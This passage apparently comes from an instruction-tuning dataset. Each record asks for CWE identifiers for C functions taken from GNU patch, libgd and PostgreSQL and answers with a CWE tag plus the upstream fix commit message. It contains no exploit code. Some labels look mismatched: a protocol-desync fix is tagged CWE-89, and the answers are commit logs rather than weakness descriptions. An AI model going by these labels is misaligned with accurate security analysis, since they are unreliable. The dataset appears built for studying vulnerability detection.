pch_hunk_beg ()));\n\n\tif (repl_missing) {\n\n\t /* reset state back to just after --- */\n\t p_input_line = repl_patch_line;\n\t context = repl_context;\n\t for (p_end--; p_end > repl_beginning; p_end--)\n\t\tfree(p_line[p_end]);\n\t Fseek (pfp, repl_backtrack_position, SEEK_SET);\n\n\t /* redundant 'new' context lines were omitted - set */\n\t /* up to fill them in from the old file context */\n\t fillsrc = 1;\n\t filldst = repl_beginning+1;\n\t fillcnt = p_repl_lines;\n\t p_end = p_max;\n\t}\n\telse if (! ptrn_missing && ptrn_copiable != repl_copiable)\n\t fatal (\"context mangled in hunk at line %s\",\n\t\t format_linenum (numbuf0, p_hunk_beg));\n\telse if (!some_context && fillcnt == 1) {\n\t /* the first hunk was a null hunk with no context */\n\t /* and we were expecting one line -- fix it up. */\n\t while (filldst < p_end) {\n\t\tp_line[filldst] = p_line[filldst+1];\n\t\tp_Char[filldst] = p_Char[filldst+1];\n\t\tp_len[filldst] = p_len[filldst+1];\n\t\tfilldst++;\n\t }\n#if 0\n\t repl_beginning--;\t\t/* this doesn't need to be fixed */\n#endif\n\t p_end--;\n\t p_first++;\t\t\t/* do append rather than insert */\n\t fillcnt = 0;\n\t p_ptrn_lines = 0;\n\t}\n\n\tp_prefix_context = ((repl_prefix_context == -1\n\t\t\t || (ptrn_prefix_context != -1\n\t\t\t\t && ptrn_prefix_context < repl_prefix_context))\n\t\t\t ? ptrn_prefix_context : repl_prefix_context);\n\tp_suffix_context = ((ptrn_suffix_context != -1\n\t\t\t && ptrn_suffix_context < context)\n\t\t\t ? ptrn_suffix_context : context);\n\tif (p_prefix_context == -1 || p_suffix_context == -1)\n\t fatal (\"replacement text or line numbers mangled in hunk at line %s\",\n\t\t format_linenum (numbuf0, p_hunk_beg));\n\n\tif (difftype == CONTEXT_DIFF\n\t && (fillcnt\n\t\t|| (p_first > 1\n\t\t && p_prefix_context + p_suffix_context < ptrn_copiable))) {\n\t if (verbosity == VERBOSE)\n\t\tsay (\"%s\\n%s\\n%s\\n\",\n\"(Fascinating -- this is really a new-style context diff but without\",\n\"the telltale extra asterisks on the *** line that usually indicate\",\n\"the new style...)\");\n\t diff_type = difftype = NEW_CONTEXT_DIFF;\n\t}\n\n\t/* if there were omitted context lines, fill them in now */\n\tif (fillcnt) {\n\t p_bfake = filldst;\t\t/* remember where not to free() */\n\t p_efake = filldst + fillcnt - 1;\n\t while (fillcnt-- > 0) {\n\t\twhile (fillsrc <= p_end && fillsrc != repl_beginning\n\t\t && p_Char[fillsrc] != ' ')\n\t\t fillsrc++;\n\t\tif (p_end < fillsrc || fillsrc == repl_beginning)\n\t\t {\n\t\t fatal (\"replacement text or line numbers mangled in hunk at line %s\",\n\t\t\t format_linenum (numbuf0, p_hunk_beg));\n\t\t }\n\t\tp_line[filldst] = p_line[fillsrc];\n\t\tp_Char[filldst] = p_Char[fillsrc];\n\t\tp_len[filldst] = p_len[fillsrc];\n\t\tfillsrc++; filldst++;\n\t }\n\t while (fillsrc <= p_end && fillsrc != repl_beginning)\n\t {\n\t\tif (p_Char[fillsrc] == ' ')\n\t\t fatal (\"replacement text or line numbers mangled in hunk at line %s\",\n\t\t\t format_linenum (numbuf0, p_hunk_beg));\n\t\tfillsrc++;\n\t }\n\t if (debug & 64)\n\t printf (\"fillsrc %s, filldst %s, rb %s, e+1 %s\\n\",\n\t\t format_linenum (numbuf0, fillsrc),\n\t\t format_linenum (numbuf1, filldst),\n\t\t format_linenum (numbuf2, repl_beginning),\n\t\t format_linenum (numbuf3, p_end + 1));\n\t assert(fillsrc==p_end+1 || fillsrc==repl_beginning);\n\t assert(filldst==p_end+1 || filldst==repl_beginning);\n\t}\n }\n else if (difftype == UNI_DIFF) {\n\tfile_offset line_beginning = file_tell (pfp); /* file pos of the current line */\n\tlin fillsrc; /* index of old lines */\n\tlin filldst; /* index of new lines */\n\tchar ch = '\\0';\n\n\tchars_read = get_line ();\n\tif (chars_read == (size_t) -1\n\t || chars_read <= 4\n\t || strncmp (buf, \"@@ -\", 4) != 0) {\n\t next_intuit_at(line_beginning,p_input_line);\n\t return chars_read == (size_t) -1 ? -1 : 0;\n\t}\n\ts = scan_linenum (buf + 4, &p_first);\n\tif (*s == ',')\n\t s = scan_linenum (s + 1, &p_ptrn_lines);\n\telse\n\t p_ptrn_lines = 1;\n\tif (p_first >= LINENUM_MAX - p_ptrn_lines)\n\t malformed ();\n\tif (*s == ' ') s++;\n\tif (*s != '+')\n\t malformed ();\n\ts = scan_linenum (s + 1, &p_newfirst);\n\tif (*s == ',')\n\t s = scan_linenum (s + 1, &p_repl_lines);\n\telse\n\t p_repl_lines = 1;\n\tif (p_newfirst >= LINENUM_MAX - p_repl_lines)\n\t malformed ();\n\tif (*s == ' ') s++;\n\tif (*s++ != '@')\n\t malformed ();\n\tif (*s++ == '@' && *s == ' ')\n\t {\n\t p_c_function = s;\n\t while (*s != '\\n')\n\t\ts++;\n\t *s = '\\0';\n\t p_c_function = savestr (p_c_function);\n\t if (! p_c_function)\n\t return -1;\n\t }\n\tif (!p_ptrn_lines)\n\t p_first++;\t\t\t/* do append rather than insert */\n\tif (!p_repl_lines)\n\t p_newfirst++;\n\tif (p_ptrn_lines >= LINENUM_MAX - (p_repl_lines + 1))\n\t malformed ();\n\tp_max = p_ptrn_lines + p_repl_lines + 1;\n\twhile (p_max + 1 >= hunkmax)\n\t if (! grow_hunkmax ())\n\t\treturn -1;\n\tfillsrc = 1;\n\tfilldst = fillsrc + p_ptrn_lines;\n\tp_end = filldst + p_repl_lines;\n\tsprintf (buf, \"*** %s,%s ****\\n\",\n\t\t format_linenum (numbuf0, p_first),\n\t\t format_linenum (numbuf1, p_first + p_ptrn_lines - 1));\n\tp_len[0] = strlen (buf);\n\tif (! (p_line[0] = savestr (buf))) {\n\t p_end = -1;\n\t return -1;\n\t}\n\tp_Char[0] = '*';\n\tsprintf (buf, \"--- %s,%s ----\\n\",\n\t\t format_linenum (numbuf0, p_newfirst),\n\t\t format_linenum (numbuf1, p_newfirst + p_repl_lines - 1));\n\tp_len[filldst] = strlen (buf);\n\tif (! (p_line[filldst] = savestr (buf))) {\n\t p_end = 0;\n\t return -1;\n\t}\n\tp_Char[filldst++] = '=';\n\tp_prefix_context = -1;\n\tp_hunk_beg = p_input_line + 1;\n\twhile (fillsrc <= p_ptrn_lines || filldst <= p_end) {\n\t chars_read = get_line ();\n\t if (!chars_read) {\n\t\tif (p_max - filldst < 3) {\n\t\t strcpy (buf, \" \\n\"); /* assume blank lines got chopped */\n\t\t chars_read = 2;\n\t\t} else {\n\t\t fatal (\"unexpected end of file in patch\");\n\t\t}\n\t }\n\t if (chars_read == (size_t) -1)\n\t\ts = 0;\n\t else if (*buf == '\\t' || *buf == '\\n') {\n\t\tch = ' ';\t\t/* assume the space got eaten */\n\t\ts = savebuf (buf, chars_read);\n\t }\n\t else {\n\t\tch = *buf;\n\t\ts = savebuf (buf+1, --chars_read);\n\t }\n\t if (chars_read && ! s)\n\t {\n\t\twhile (--filldst > p_ptrn_lines)\n\t\t free(p_line[filldst]);\n\t\tp_end = fillsrc-1;\n\t\treturn -1;\n\t }\n\t switch (ch) {\n\t case '-':\n\t\tif (fillsrc > p_ptrn_lines) {\n\t\t free(s);\n\t\t p_end = filldst-1;\n\t\t malformed ();\n\t\t}\n\t\tchars_read -= fillsrc == p_ptrn_lines && incomplete_line ();\n\t\tp_Char[fillsrc] = ch;\n\t\tp_line[fillsrc] = s;\n\t\tp_len[fillsrc++] = chars_read;\n\t\tbreak;\n\t case '=':\n\t\tch = ' ';\n\t\t/* FALL THROUGH */\n\t case ' ':\n\t\tif (fillsrc > p_ptrn_lines) {\n\t\t free(s);\n\t\t while (--filldst > p_ptrn_lines)\n\t\t\tfree(p_line[filldst]);\n\t\t p_end = fillsrc-1;\n\t\t malformed ();\n\t\t}\n\t\tcontext++;\n\t\tchars_read -= fillsrc == p_ptrn_lines && incomplete_line ();\n\t\tp_Char[fillsrc] = ch;\n\t\tp_line[fillsrc] = s;\n\t\tp_len[fillsrc++] = chars_read;\n\t\ts = savebuf (s, chars_read);\n\t\tif (chars_read && ! s) {\n\t\t while (--filldst > p_ptrn_lines)\n\t\t\tfree(p_line[filldst]);\n\t\t p_end = fillsrc-1;\n\t\t return -1;\n\t\t}\n\t\t/* FALL THROUGH */\n\t case '+':\n\t\tif (filldst > p_end) {\n\t\t free(s);\n\t\t while (--filldst > p_ptrn_lines)\n\t\t\tfree(p_line[filldst]);\n\t\t p_end = fillsrc-1;\n\t\t malformed ();\n\t\t}\n\t\tchars_read -= filldst == p_end && incomplete_line ();\n\t\tp_Char[filldst] = ch;\n\t\tp_line[filldst] = s;\n\t\tp_len[filldst++] = chars_read;\n\t\tbreak;\n\t default:\n\t\tp_end = filldst;\n\t\tmalformed ();\n\t }\n\t if (ch != ' ') {\n\t\tif (p_prefix_context == -1)\n\t\t p_prefix_context = context;\n\t\tcontext = 0;\n\t }\n\t}/* while */\n\tif (p_prefix_context == -1)\n\t malformed ();\n\tp_suffix_context = context;\n }\n else {\t\t\t\t/* normal diff--fake it up */\n\tchar hunk_type;\n\tint i;\n\tlin min, max;\n\tfile_offset line_beginning = file_tell (pfp);\n\n\tp_prefix_context = p_suffix_context = 0;\n\tchars_read = get_line ();\n\tif (chars_read == (size_t) -1 || !chars_read || !ISDIGIT (*buf)) {\n\t next_intuit_at(line_beginning,p_input_line);\n\t return chars_read == (size_t) -1 ? -1 : 0;\n\t}\n\ts = scan_linenum (buf, &p_first);\n\tif (*s == ',') {\n\t s = scan_linenum (s + 1, &p_ptrn_lines);\n\t p_ptrn_lines += 1 - p_first;\n\t}\n\telse\n\t p_ptrn_lines = (*s != 'a');\n\tif (p_first >= LINENUM_MAX - p_ptrn_lines)\n\t malformed ();\n\thunk_type = *s;\n\tif (hunk_type == 'a')\n\t p_first++;\t\t\t/* do append rather than insert */\n\ts = scan_linenum (s + 1, &min);\n\tif (*s == ',')\n\t scan_linenum (s + 1, &max);\n\telse\n\t max = min;\n\tif (min > max || max - min == LINENUM_MAX)\n\t malformed ();\n\tif (hunk_type == 'd')\n\t min++;\n\tp_newfirst = min;\n\tp_repl_lines = max - min + 1;\n\tif (p_newfirst >= LINENUM_MAX - p_repl_lines)\n\t malformed ();\n\tif (p_ptrn_lines >= LINENUM_MAX - (p_repl_lines + 1))\n\t malformed ();\n\tp_end = p_ptrn_lines + p_repl_lines + 1;\n\twhile (p_end + 1 >= hunkmax)\n\t if (! grow_hunkmax ())\n\t {\n\t p_end = -1;\n\t return -1;\n\t }\n\tsprintf (buf, \"*** %s,%s\\n\",\n\t\t format_linenum (numbuf0, p_first),\n\t\t format_linenum (numbuf1, p_first + p_ptrn_lines - 1));\n\tp_len[0] = strlen (buf);\n\tif (! (p_line[0] = savestr (buf))) {\n\t p_end = -1;\n\t return -1;\n\t}\n\tp_Char[0] = '*';\n\tfor (i=1; i<=p_ptrn_lines; i++) {\n\t chars_read = get_line ();\n\t if (chars_read == (size_t) -1)\n\t {\n\t\tp_end = i - 1;\n\t\treturn -1;\n\t }\n\t if (!chars_read)\n\t fatal (\"unexpected end of file in patch at line %s\",\n\t\t format_linenum (numbuf0, p_input_line));\n\t if (buf[0] != '<' || (buf[1] != ' ' && buf[1] != '\\t'))\n\t fatal (\"'<' expected at line %s of patch\",\n\t\t format_linenum (numbuf0, p_input_line));\n\t chars_read -= 2 + (i == p_ptrn_lines && incomplete_line ());\n\t p_len[i] = chars_read;\n\t p_line[i] = savebuf (buf + 2, chars_read);\n\t if (chars_read && ! p_line[i]) {\n\t\tp_end = i-1;\n\t\treturn -1;\n\t }\n\t p_Char[i] = '-';\n\t}\n\tif (hunk_type == 'c') {\n\t chars_read = get_line ();\n\t if (chars_read == (size_t) -1)\n\t {\n\t\tp_end = i - 1;\n\t\treturn -1;\n\t }\n\t if (! chars_read)\n\t fatal (\"unexpected end of file in patch at line %s\",\n\t\t format_linenum (numbuf0, p_input_line));\n\t if (*buf != '-')\n\t fatal (\"'---' expected at line %s of patch\",\n\t\t format_linenum (numbuf0, p_input_line));\n\t}\n\tsprintf (buf, \"--- %s,%s\\n\",\n\t\t format_linenum (numbuf0, min),\n\t\t format_linenum (numbuf1, max));\n\tp_len[i] = strlen (buf);\n\tif (! (p_line[i] = savestr (buf))) {\n\t p_end = i-1;\n\t return -1;\n\t}\n\tp_Char[i] = '=';\n\tfor (i++; i<=p_end; i++) {\n\t chars_read = get_line ();\n\t if (chars_read == (size_t) -1)\n\t {\n\t\tp_end = i - 1;\n\t\treturn -1;\n\t }\n\t if (!chars_read)\n\t fatal (\"unexpected end of file in patch at line %s\",\n\t\t format_linenum (numbuf0, p_input_line));\n\t if (buf[0] != '>' || (buf[1] != ' ' && buf[1] != '\\t'))\n\t fatal (\"'>' expected at line %s of patch\",\n\t\t format_linenum (numbuf0, p_input_line));\n\t chars_read -= 2 + (i == p_end && incomplete_line ());\n\t p_len[i] = chars_read;\n\t p_line[i] = savebuf (buf + 2, chars_read);\n\t if (chars_read && ! p_line[i]) {\n\t\tp_end = i-1;\n\t\treturn -1;\n\t }\n\t p_Char[i] = '+';\n\t}\n }\n if (rev)\t\t\t\t/* backwards patch? */\n\tif (!pch_swap())\n\t say (\"Not enough memory to swap next hunk!\\n\");\n assert (p_end + 1 < hunkmax);\n p_Char[p_end + 1] = '^'; /* add a stopper for apply_hunk */\n if (debug & 2) {\n\tlin i;\n\n\tfor (i = 0; i <= p_end + 1; i++) {\n\t fprintf (stderr, \"%s %c\",\n\t\t format_linenum (numbuf0, i),\n\t\t p_Char[i]);\n\t if (p_Char[i] == '*')\n\t fprintf (stderr, \" %s,%s\\n\",\n\t\t format_linenum (numbuf0, p_first),\n\t\t format_linenum (numbuf1, p_ptrn_lines));\n\t else if (p_Char[i] == '=')\n\t fprintf (stderr, \" %s,%s\\n\",\n\t\t format_linenum (numbuf0, p_newfirst),\n\t\t format_linenum (numbuf1, p_repl_lines));\n\t else if (p_Char[i] != '^')\n\t {\n\t\tfputs(\" |\", stderr);\n\t\tpch_write_line (i, stderr);\n\t }\n\t else\n\t fputc('\\n', stderr);\n\t}\n\tfflush (stderr);\n }\n return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'Fail when out of memory in set_hunkmax()\n\nsrc/pch.c (another_hunk): Call set_hunkmax() from here to make sure it is\ncalled even when falling back from plan A to plan B.\n(open_patch_file): No need to call set_hunkmax() anymore.\nsrc/pch.c (set_hunkmax): Fail when out of memory. Make static.\nsrc/pch.h: Remove set_hunkmax() prototype.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)\n{\n\tint i, j, ret;\n\tunsigned char count;\n\n\tif (flag) {\n\t\tscd->curbit = 0;\n\t\tscd->lastbit = 0;\n\t\tscd->last_byte = 0;\n\t\tscd->done = FALSE;\n\t\treturn 0;\n\t}\n\n\tif ( (scd->curbit + code_size) >= scd->lastbit) {\n\t\tif (scd->done) {\n\t\t\tif (scd->curbit >= scd->lastbit) {\n\t\t\t\t/* Oh well */\n\t\t\t}\n\t\t\treturn -1;\n\t\t}\n\t\tscd->buf[0] = scd->buf[scd->last_byte-2];\n\t\tscd->buf[1] = scd->buf[scd->last_byte-1];\n\n if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)\n\t\t\tscd->done = TRUE;\n\n\t\tscd->last_byte = 2 + count;\n\t\tscd->curbit = (scd->curbit - scd->lastbit) + 16;\n\t\tscd->lastbit = (2+count)*8 ;\n\t}\n\n\tret = 0;\n\tfor (i = scd->curbit, j = 0; j < code_size; ++i, ++j)\n\t\tif (i < CSD_BUF_SIZE * 8) {\n\t\t\tret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;\n\t\t} else {\n\t\t\tret = -1;\n\t\t\tbreak;\n\t\t}\n\n\tscd->curbit += code_size;\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Better fix for #68601 for perf\nhttps://bitbucket.org/libgd/gd-libgd/commits/81e9a993f2893d651d225646378e3fd1b7465467'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: pg_SSPI_recvauth(Port *port)\n{\n\tint\t\t\tmtype;\n\tStringInfoData buf;\n\tSECURITY_STATUS r;\n\tCredHandle\tsspicred;\n\tCtxtHandle *sspictx = NULL,\n\t\t\t\tnewctx;\n\tTimeStamp\texpiry;\n\tULONG\t\tcontextattr;\n\tSecBufferDesc inbuf;\n\tSecBufferDesc outbuf;\n\tSecBuffer\tOutBuffers[1];\n\tSecBuffer\tInBuffers[1];\n\tHANDLE\t\ttoken;\n\tTOKEN_USER *tokenuser;\n\tDWORD\t\tretlen;\n\tchar\t\taccountname[MAXPGPATH];\n\tchar\t\tdomainname[MAXPGPATH];\n\tDWORD\t\taccountnamesize = sizeof(accountname);\n\tDWORD\t\tdomainnamesize = sizeof(domainname);\n\tSID_NAME_USE accountnameuse;\n\tHMODULE\t\tsecur32;\n\tQUERY_SECURITY_CONTEXT_TOKEN_FN _QuerySecurityContextToken;\n\n\t/*\n\t * SSPI auth is not supported for protocol versions before 3, because it\n\t * relies on the overall message length word to determine the SSPI payload\n\t * size in AuthenticationGSSContinue and PasswordMessage messages. (This\n\t * is, in fact, a design error in our SSPI support, because protocol\n\t * messages are supposed to be parsable without relying on the length\n\t * word; but it's not worth changing it now.)\n\t */\n\tif (PG_PROTOCOL_MAJOR(FrontendProtocol) < 3)\n\t\tereport(FATAL,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"SSPI is not supported in protocol version 2\")));\n\n\t/*\n\t * Acquire a handle to the server credentials.\n\t */\n\tr = AcquireCredentialsHandle(NULL,\n\t\t\t\t\t\t\t\t \"negotiate\",\n\t\t\t\t\t\t\t\t SECPKG_CRED_INBOUND,\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t NULL,\n\t\t\t\t\t\t\t\t &sspicred,\n\t\t\t\t\t\t\t\t &expiry);\n\tif (r != SEC_E_OK)\n\t\tpg_SSPI_error(ERROR, _(\"could not acquire SSPI credentials\"), r);\n\n\t/*\n\t * Loop through SSPI message exchange. This exchange can consist of\n\t * multiple messags sent in both directions. First message is always from\n\t * the client. All messages from client to server are password packets\n\t * (type 'p').\n\t */\n\tdo\n\t{\n\t\tmtype = pq_getbyte();\n\t\tif (mtype != 'p')\n\t\t{\n\t\t\t/* Only log error if client didn't disconnect. */\n\t\t\tif (mtype != EOF)\n\t\t\t\tereport(COMMERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_PROTOCOL_VIOLATION),\n\t\t\t\t\t\t errmsg(\"expected SSPI response, got message type %d\",\n\t\t\t\t\t\t\t\tmtype)));\n\t\t\treturn STATUS_ERROR;\n\t\t}\n\n\t\t/* Get the actual SSPI token */\n\t\tinitStringInfo(&buf);\n\t\tif (pq_getmessage(&buf, PG_MAX_AUTH_TOKEN_LENGTH))\n\t\t{\n\t\t\t/* EOF - pq_getmessage already logged error */\n\t\t\tpfree(buf.data);\n\t\t\treturn STATUS_ERROR;\n\t\t}\n\n\t\t/* Map to SSPI style buffer */\n\t\tinbuf.ulVersion = SECBUFFER_VERSION;\n\t\tinbuf.cBuffers = 1;\n\t\tinbuf.pBuffers = InBuffers;\n\t\tInBuffers[0].pvBuffer = buf.data;\n\t\tInBuffers[0].cbBuffer = buf.len;\n\t\tInBuffers[0].BufferType = SECBUFFER_TOKEN;\n\n\t\t/* Prepare output buffer */\n\t\tOutBuffers[0].pvBuffer = NULL;\n\t\tOutBuffers[0].BufferType = SECBUFFER_TOKEN;\n\t\tOutBuffers[0].cbBuffer = 0;\n\t\toutbuf.cBuffers = 1;\n\t\toutbuf.pBuffers = OutBuffers;\n\t\toutbuf.ulVersion = SECBUFFER_VERSION;\n\n\n\t\telog(DEBUG4, \"Processing received SSPI token of length %u\",\n\t\t\t (unsigned int) buf.len);\n\n\t\tr = AcceptSecurityContext(&sspicred,\n\t\t\t\t\t\t\t\t sspictx,\n\t\t\t\t\t\t\t\t &inbuf,\n\t\t\t\t\t\t\t\t ASC_REQ_ALLOCATE_MEMORY,\n\t\t\t\t\t\t\t\t SECURITY_NETWORK_DREP,\n\t\t\t\t\t\t\t\t &newctx,\n\t\t\t\t\t\t\t\t &outbuf,\n\t\t\t\t\t\t\t\t &contextattr,\n\t\t\t\t\t\t\t\t NULL);\n\n\t\t/* input buffer no longer used */\n\t\tpfree(buf.data);\n\n\t\tif (outbuf.cBuffers > 0 && outbuf.pBuffers[0].cbBuffer > 0)\n\t\t{\n\t\t\t/*\n\t\t\t * Negotiation generated data to be sent to the client.\n\t\t\t */\n\t\t\telog(DEBUG4, \"sending SSPI response token of length %u\",\n\t\t\t\t (unsigned int) outbuf.pBuffers[0].cbBuffer);\n\n\t\t\tport->gss->outbuf.length = outbuf.pBuffers[0].cbBuffer;\n\t\t\tport->gss->outbuf.value = outbuf.pBuffers[0].pvBuffer;\n\n\t\t\tsendAuthRequest(port, AUTH_REQ_GSS_CONT);\n\n\t\t\tFreeContextBuffer(outbuf.pBuffers[0].pvBuffer);\n\t\t}\n\n\t\tif (r != SEC_E_OK && r != SEC_I_CONTINUE_NEEDED)\n\t\t{\n\t\t\tif (sspictx != NULL)\n\t\t\t{\n\t\t\t\tDeleteSecurityContext(sspictx);\n\t\t\t\tfree(sspictx);\n\t\t\t}\n\t\t\tFreeCredentialsHandle(&sspicred);\n\t\t\tpg_SSPI_error(ERROR,\n\t\t\t\t\t\t _(\"could not accept SSPI security context\"), r);\n\t\t}\n\n\t\t/*\n\t\t * Overwrite the current context with the one we just received. If\n\t\t * sspictx is NULL it was the first loop and we need to allocate a\n\t\t * buffer for it. On subsequent runs, we can just overwrite the buffer\n\t\t * contents since the size does not change.\n\t\t */\n\t\tif (sspictx == NULL)\n\t\t{\n\t\t\tsspictx = malloc(sizeof(CtxtHandle));\n\t\t\tif (sspictx == NULL)\n\t\t\t\tereport(ERROR,\n\t\t\t\t\t\t(errmsg(\"out of memory\")));\n\t\t}\n\n\t\tmemcpy(sspictx, &newctx, sizeof(CtxtHandle));\n\n\t\tif (r == SEC_I_CONTINUE_NEEDED)\n\t\t\telog(DEBUG4, \"SSPI continue needed\");\n\n\t} while (r == SEC_I_CONTINUE_NEEDED);\n\n\n\t/*\n\t * Release service principal credentials\n\t */\n\tFreeCredentialsHandle(&sspicred);\n\n\n\t/*\n\t * SEC_E_OK indicates that authentication is now complete.\n\t *\n\t * Get the name of the user that authenticated, and compare it to the pg\n\t * username that was specified for the connection.\n\t *\n\t * MingW is missing the export for QuerySecurityContextToken in the\n\t * secur32 library, so we have to load it dynamically.\n\t */\n\n\tsecur32 = LoadLibrary(\"SECUR32.DLL\");\n\tif (secur32 == NULL)\n\t\tereport(ERROR,\n\t\t\t\t(errmsg_internal(\"could not load secur32.dll: error code %lu\",\n\t\t\t\t\t\t\t\t GetLastError())));\n\n\t_QuerySecurityContextToken = (QUERY_SECURITY_CONTEXT_TOKEN_FN)\n\t\tGetProcAddress(secur32, \"QuerySecurityContextToken\");\n\tif (_QuerySecurityContextToken == NULL)\n\t{\n\t\tFreeLibrary(secur32);\n\t\tereport(ERROR,\n\t\t\t\t(errmsg_internal(\"could not locate QuerySecurityContextToken in secur32.dll: error code %lu\",\n\t\t\t\t\t\t\t\t GetLastError())));\n\t}\n\n\tr = (_QuerySecurityContextToken) (sspictx, &token);\n\tif (r != SEC_E_OK)\n\t{\n\t\tFreeLibrary(secur32);\n\t\tpg_SSPI_error(ERROR,\n\t\t\t\t\t _(\"could not get token from SSPI security context\"), r);\n\t}\n\n\tFreeLibrary(secur32);\n\n\t/*\n\t * No longer need the security context, everything from here on uses the\n\t * token instead.\n\t */\n\tDeleteSecurityContext(sspictx);\n\tfree(sspictx);\n\n\tif (!GetTokenInformation(token, TokenUser, NULL, 0, &retlen) && GetLastError() != 122)\n\t\tereport(ERROR,\n\t\t\t(errmsg_internal(\"could not get token user size: error code %lu\",\n\t\t\t\t\t\t\t GetLastError())));\n\n\ttokenuser = malloc(retlen);\n\tif (tokenuser == NULL)\n\t\tereport(ERROR,\n\t\t\t\t(errmsg(\"out of memory\")));\n\n\tif (!GetTokenInformation(token, TokenUser, tokenuser, retlen, &retlen))\n\t\tereport(ERROR,\n\t\t\t\t(errmsg_internal(\"could not get user token: error code %lu\",\n\t\t\t\t\t\t\t\t GetLastError())));\n\n\tif (!LookupAccountSid(NULL, tokenuser->User.Sid, accountname, &accountnamesize,\n\t\t\t\t\t\t domainname, &domainnamesize, &accountnameuse))\n\t\tereport(ERROR,\n\t\t\t(errmsg_internal(\"could not look up account SID: error code %lu\",\n\t\t\t\t\t\t\t GetLastError())));\n\n\tfree(tokenuser);\n\n\t/*\n\t * Compare realm/domain if requested. In SSPI, always compare case\n\t * insensitive.\n\t */\n\tif (port->hba->krb_realm && strlen(port->hba->krb_realm))\n\t{\n\t\tif (pg_strcasecmp(port->hba->krb_realm, domainname) != 0)\n\t\t{\n\t\t\telog(DEBUG2,\n\t\t\t\t \"SSPI domain (%s) and configured domain (%s) don't match\",\n\t\t\t\t domainname, port->hba->krb_realm);\n\n\t\t\treturn STATUS_ERROR;\n\t\t}\n\t}\n\n\t/*\n\t * We have the username (without domain/realm) in accountname, compare to\n\t * the supplied value. In SSPI, always compare case insensitive.\n\t *\n\t * If set to include realm, append it in @ format.\n\t */\n\tif (port->hba->include_realm)\n\t{\n\t\tchar\t *namebuf;\n\t\tint\t\t\tretval;\n\n\t\tnamebuf = psprintf(\"%s@%s\", accountname, domainname);\n\t\tretval = check_usermap(port->hba->usermap, port->user_name, namebuf, true);\n\t\tpfree(namebuf);\n\t\treturn retval;\n\t}\n\telse\n\t\treturn check_usermap(port->hba->usermap, port->user_name, accountname, true);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-89'], 'message': 'Be more careful to not lose sync in the FE/BE protocol.\n\nIf any error occurred while we were in the middle of reading a protocol\nmessage from the client, we could lose sync, and incorrectly try to\ninterpret a part of another message as a new protocol message. That will\nusually lead to an \"invalid frontend message\" error that terminates the\nconnection. However, this is a security issue because an attacker might\nbe able to deliberately cause an error, inject a Query message in what's\nsupposed to be just user data, and have the server execute it.\n\nWe were quite careful to not have CHECK_FOR_INTERRUPTS() calls or other\noperations that could ereport(ERROR) in the middle of processing a message,\nbut a query cancel interrupt or statement timeout could nevertheless cause\nit to happen. Also, the V2 fastpath and COPY handling were not so careful.\nIt's very difficult to recover in the V2 COPY protocol, so we will just\nterminate the connection on error. In practice, that's what happened\npreviously anyway, as we lost protocol sync.\n\nTo fix, add a new variable in pqcomm.c, PqCommReadingMsg, that is set\nwhenever we're in the middle of reading a message. When it's set, we cannot\nsafely ERROR out and continue running, because we might've read only part\nof a message. PqCommReadingMsg acts somewhat similarly to critical sections\nin that if an error occurs while it's set, the error handler will force the\nconnection to be terminated, as if the error was FATAL. It's not\nimplemented by promoting ERROR to FATAL in elog.c, like ERROR is promoted\nto PANIC in critical sections, because we want to be able to use\nPG_TRY/CATCH to recover and regain protocol sync. pq_getmessage() takes\nadvantage of that to prevent an OOM error from terminating the connection.\n\nTo prevent unnecessary connection terminations, add a holdoff mechanism\nsimilar to HOLD/RESUME_INTERRUPTS() that can be used hold off query cancel\ninterrupts, but still allow die interrupts. The rules on which interrupts\nare processed when are now a bit more complicated, so refactor\nProcessInterrupts() and the calls to it in signal handlers so that the\nsignal handlers always call it if ImmediateInterruptOK is set, and\nProcessInterrupts() can decide to not do anything if the other conditions\nare not met.\n\nReported by Emil Lenngren. Patch reviewed by Noah Misch and Andres Freund.\nBackpatch to all supported versions.\n\nSecurity: CVE-2015-0244'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: HandleFunctionRequest(StringInfo msgBuf)\n{\n\tOid\t\t\tfid;\n\tAclResult\taclresult;\n\tFunctionCallInfoData fcinfo;\n\tint16\t\trformat;\n\tDatum\t\tretval;\n\tstruct fp_info my_fp;\n\tstruct fp_info *fip;\n\tbool\t\tcallit;\n\tbool\t\twas_logged = false;\n\tchar\t\tmsec_str[32];\n\n\t/*\n\t * Read message contents if not already done.\n\t */\n\tif (PG_PROTOCOL_MAJOR(FrontendProtocol) < 3)\n\t{\n\t\tif (GetOldFunctionMessage(msgBuf))\n\t\t{\n\t\t\tif (IsTransactionState())\n\t\t\t\tereport(COMMERROR,\n\t\t\t\t\t\t(errcode(ERRCODE_CONNECTION_FAILURE),\n\t\t\t\t\t\t errmsg(\"unexpected EOF on client connection with an open transaction\")));\n\t\t\telse\n\t\t\t{\n\t\t\t\t/*\n\t\t\t\t * Can't send DEBUG log messages to client at this point.\n\t\t\t\t * Since we're disconnecting right away, we don't need to\n\t\t\t\t * restore whereToSendOutput.\n\t\t\t\t */\n\t\t\t\twhereToSendOutput = 